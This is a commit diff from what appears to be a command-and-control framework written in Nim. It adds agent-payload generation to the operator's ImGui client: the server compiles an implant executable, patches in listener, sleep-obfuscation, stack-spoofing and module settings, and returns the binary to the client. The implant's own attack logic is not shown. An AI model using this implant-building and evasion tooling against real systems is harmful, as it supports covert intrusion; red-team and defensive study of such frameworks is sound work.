Implemented generating agent payloads from the ImGui client.
This commit is contained in:
@@ -31,3 +31,4 @@ requires "imguin >= 1.92.2.1"
|
||||
requires "zippy >= 0.10.16"
|
||||
requires "mummy >= 0.4.6"
|
||||
requires "whisky >= 0.1.3"
|
||||
requires "native_dialogs >= 0.2.0"
|
||||
@@ -4,5 +4,5 @@
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES=0
|
||||
-d:MODULES="223"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -1,6 +1,6 @@
|
||||
import whisky
|
||||
import tables, strutils, json, parsetoml
|
||||
import ./utils/appImGui
|
||||
import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs
|
||||
import ./utils/[appImGui, globals]
|
||||
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
||||
import ../common/[types, utils]
|
||||
import ./websocket
|
||||
@@ -97,6 +97,15 @@ proc main() =
|
||||
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
||||
|
||||
of CLIENT_AGENT_PAYLOAD:
|
||||
let payload = decode(event.data["payload"].getStr())
|
||||
try:
|
||||
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
|
||||
|
||||
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
|
||||
# let outFilePath = callDialogFileSave("Save Payload")
|
||||
|
||||
writeFile(outFilePath, payload)
|
||||
except IOError:
|
||||
discard
|
||||
|
||||
of CLIENT_CONSOLE_ITEM:
|
||||
|
||||
@@ -205,7 +205,7 @@ proc draw*(component: ConsoleComponent, ws: WebSocket) =
|
||||
igText("Press CTRL+F to focus console filter.")
|
||||
igText("Use \",\" as a delimiter to filter for multiple values.")
|
||||
igText("Use \"-\" to exclude values.")
|
||||
igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include \"a\" or \"b\".")
|
||||
igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include either \"a\" or \"b\".")
|
||||
igEndTooltip()
|
||||
|
||||
if igIsWindowFocused(ImGui_FocusedFlags_ChildWindows.int32) and io.KeyCtrl and igIsKeyPressed_Bool(ImGuiKey_F, false):
|
||||
|
||||
@@ -43,7 +43,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, ws: WebS
|
||||
if listener != nil:
|
||||
ws.sendStartListener(listener)
|
||||
|
||||
component.generatePayloadModal.draw(component.listeners)
|
||||
let buildInformation = component.generatePayloadModal.draw(component.listeners)
|
||||
if buildInformation != nil:
|
||||
ws.sendAgentBuild(buildInformation)
|
||||
|
||||
#[
|
||||
Listener table
|
||||
|
||||
@@ -43,7 +43,7 @@ proc resetModalValues(component: AgentModalComponent) =
|
||||
component.spoofStack = false
|
||||
component.moduleSelection.reset()
|
||||
|
||||
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) =
|
||||
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation =
|
||||
|
||||
let textSpacing = igGetStyle().ItemSpacing.x
|
||||
|
||||
@@ -114,17 +114,18 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) =
|
||||
|
||||
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
|
||||
# Get values
|
||||
echo listeners[component.listener].listenerId
|
||||
echo $component.sleepDelay
|
||||
echo component.sleepMaskTechniques[component.sleepMask]
|
||||
echo $component.spoofStack
|
||||
|
||||
# Iterate over modules
|
||||
var module: uint32 = 0
|
||||
var modules: uint32 = 0
|
||||
for m in component.moduleSelection.items[1]:
|
||||
module = module or uint32(m.moduleType)
|
||||
echo module
|
||||
modules = modules or uint32(m.moduleType)
|
||||
|
||||
result = AgentBuildInformation(
|
||||
listenerId: listeners[component.listener].listenerId,
|
||||
sleepDelay: component.sleepDelay,
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||
spoofStack: component.spoofStack,
|
||||
modules: modules
|
||||
)
|
||||
|
||||
component.resetModalValues()
|
||||
igCloseCurrentPopup()
|
||||
|
||||
@@ -25,6 +25,20 @@ proc sendStopListener*(ws: WebSocket, listenerId: string) =
|
||||
)
|
||||
ws.sendEvent(event)
|
||||
|
||||
proc sendAgentBuild*(ws: WebSocket, buildInformation: AgentBuildInformation) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_AGENT_BUILD,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"listenerId": buildInformation.listenerId,
|
||||
"sleepDelay": buildInformation.sleepDelay,
|
||||
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
|
||||
"spoofStack": buildInformation.spoofStack,
|
||||
"modules": buildInformation.modules
|
||||
}
|
||||
)
|
||||
ws.sendEvent(event)
|
||||
|
||||
# proc sendAgentCommand*(ws: WebSocket, agentId: string, command: string) =
|
||||
# var packer = Packer.init()
|
||||
|
||||
|
||||
@@ -330,3 +330,11 @@ type
|
||||
|
||||
ConsoleItems* = ref object
|
||||
items*: seq[ConsoleItem]
|
||||
|
||||
AgentBuildInformation* = ref object
|
||||
listenerId*: string
|
||||
sleepDelay*: uint32
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
modules*: uint32
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ import ../../common/[types, utils, profile, serialize, crypto]
|
||||
|
||||
const PLACEHOLDER = "PLACEHOLDER"
|
||||
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] =
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
@@ -21,7 +21,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
|
||||
|
||||
# Sleep settings
|
||||
packer.add(uint32(sleep))
|
||||
packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii())))
|
||||
packer.add(uint8(sleepTechnique))
|
||||
packer.add(uint8(spoofStack))
|
||||
|
||||
# Public key for key exchange
|
||||
@@ -59,7 +59,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string =
|
||||
it
|
||||
).join("\n")
|
||||
|
||||
proc compile(cq: Conquest, placeholderLength: int): string =
|
||||
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
|
||||
|
||||
let
|
||||
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
|
||||
@@ -75,7 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
|
||||
var config = readFile(configFile)
|
||||
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
||||
.replaceAfterPrefix("-o:", exeFile)
|
||||
# .replaceAfterPrefix("-d:MODULES=", modules)
|
||||
.replaceAfterPrefix("-d:MODULES=", $modules)
|
||||
writeFile(configFile, config)
|
||||
|
||||
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
||||
@@ -106,7 +106,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
|
||||
cq.error("An error occurred: ", err.msg)
|
||||
return ""
|
||||
|
||||
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool =
|
||||
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): seq[byte] =
|
||||
|
||||
cq.info("Patching profile configuration into agent.")
|
||||
|
||||
@@ -124,44 +124,29 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo
|
||||
for i, c in Bytes.toString(configuration):
|
||||
exeBytes[placeholderPos + i] = c
|
||||
|
||||
writeFile(unpatchedExePath, exeBytes)
|
||||
cq.success(fmt"Agent payload patched successfully: {unpatchedExePath}.")
|
||||
return string.toBytes(exeBytes)
|
||||
|
||||
except CatchableError as err:
|
||||
cq.error("An error occurred: ", err.msg)
|
||||
return false
|
||||
|
||||
return true
|
||||
return @[]
|
||||
|
||||
# Agent generation
|
||||
proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} =
|
||||
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] =
|
||||
|
||||
# Verify that listener exists
|
||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||
cq.error(fmt"Listener {listener.toUpperAscii} does not exist.")
|
||||
return false
|
||||
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
||||
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
let listener = cq.listeners[listener.toUpperAscii]
|
||||
let listener = cq.listeners[listenerId.toUpperAscii]
|
||||
|
||||
var config: seq[byte]
|
||||
if sleepDelay.isEmptyOrWhitespace():
|
||||
# If no sleep value has been defined, take the default from the profile
|
||||
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack)
|
||||
else:
|
||||
config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack)
|
||||
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
|
||||
|
||||
let unpatchedExePath = cq.compile(config.len)
|
||||
let unpatchedExePath = cq.compile(config.len, modules)
|
||||
if unpatchedExePath.isEmptyOrWhitespace():
|
||||
return false
|
||||
|
||||
if not cq.patch(unpatchedExePath, config):
|
||||
return false
|
||||
|
||||
return true
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
return
|
||||
|
||||
# Return packet to send to client
|
||||
return cq.patch(unpatchedExePath, config)
|
||||
@@ -107,7 +107,8 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
|
||||
of "interact":
|
||||
cq.agentInteract(opts.agent.get.interact.get.name)
|
||||
of "build":
|
||||
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
|
||||
discard
|
||||
# cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
|
||||
else:
|
||||
cq.agentUsage()
|
||||
|
||||
@@ -185,7 +186,17 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
cq.listenerStop(listenerId)
|
||||
|
||||
of CLIENT_AGENT_BUILD:
|
||||
discard
|
||||
let
|
||||
listenerId = event.data["listenerId"].getStr()
|
||||
sleepDelay = event.data["sleepDelay"].getInt()
|
||||
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
|
||||
spoofStack = event.data["spoofStack"].getBool()
|
||||
modules = cast[uint32](event.data["modules"].getInt())
|
||||
|
||||
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules)
|
||||
if payload.len() != 0:
|
||||
cq.client.sendAgentPayload(payload)
|
||||
|
||||
else: discard
|
||||
|
||||
of ErrorEvent:
|
||||
@@ -196,7 +207,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
|
||||
proc serve(server: Server) {.thread.} =
|
||||
try:
|
||||
server.serve(Port(12345))
|
||||
server.serve(Port(12345), "127.0.0.1")
|
||||
except Exception:
|
||||
discard
|
||||
|
||||
|
||||
@@ -59,12 +59,11 @@ proc sendAgentCheckin*(client: UIClient, agentId: string) =
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event)
|
||||
|
||||
proc sendAgentPayload*(client: UIClient, agentId: string, bytes: seq[byte]) =
|
||||
proc sendAgentPayload*(client: UIClient, bytes: seq[byte]) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_AGENT_PAYLOAD,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"agentId": agentId,
|
||||
"payload": encode(bytes)
|
||||
}
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user